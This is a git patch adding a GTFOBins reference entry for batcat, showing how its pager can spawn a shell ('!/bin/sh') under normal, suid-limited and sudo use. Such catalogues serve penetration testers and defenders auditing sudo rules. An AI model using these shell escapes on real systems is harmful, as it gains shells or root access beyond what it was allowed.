From f4e71b63cb6618efb8ecdf3663b4505f575895bf Mon Sep 17 00:00:00 2001 From: oush4ck <116729095+oush4ck@users.noreply.github.com> Date: Wed, 28 Dec 2022 21:44:31 +0100 Subject: [PATCH] Add batcat Co-authored-by: Andrea Cardaci --- _gtfobins/batcat.md | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) create mode 100644 _gtfobins/batcat.md diff --git a/_gtfobins/batcat.md b/_gtfobins/batcat.md new file mode 100644 index 0000000..e666142 --- /dev/null +++ b/_gtfobins/batcat.md @@ -0,0 +1,16 @@ +--- +description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. `--paging always` can be omitted provided that the output doesn't fit the screen. +functions: + shell: + - code: | + batcat --paging always /etc/profile + !/bin/sh + suid-limited: + - code: | + ./batcat --paging always /etc/profile + !/bin/sh + sudo: + - code: | + sudo batcat --paging always /etc/profile + !/bin/sh +---